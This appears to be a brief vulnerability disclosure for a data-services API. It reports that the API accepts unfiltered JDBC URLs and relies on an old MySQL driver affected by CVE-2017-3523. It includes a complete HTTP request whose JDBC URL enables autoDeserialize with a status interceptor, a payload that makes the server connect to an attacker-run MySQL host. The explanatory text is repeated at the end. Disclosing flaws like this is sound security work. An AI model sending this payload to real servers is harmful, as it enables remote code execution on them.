The current project does not filter JDBC URLs, so attackers can inject malicious parameters to launch attacks.
Furthermore, the current MySQL version is very old and affected by CVE-2017-3523, allowing attackers to deserialize MySQL via JDBC.
Below is an example of an attack.
POST /api/rest_j/v1/dss/data/api/datasource/test HTTP/1.1
Host: <dss-host>:<port>
Content-Type: application/json;charset=UTF-8
Cookie: bdp-user-ticket-id=xxx
Content-language: zh-CN
{"workspaceId":1,"name":"probe","username":"root","type":"MYSQL","note":"","url":"jdbc:mysql://xxxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","pwd":"x"}
The current project does not filter JDBC URLs, so attackers can inject malicious parameters to launch attacks.
Furthermore, the current MySQL version is very old and affected by CVE-2017-3523, allowing attackers to deserialize MySQL via JDBC.
Below is an example of an attack.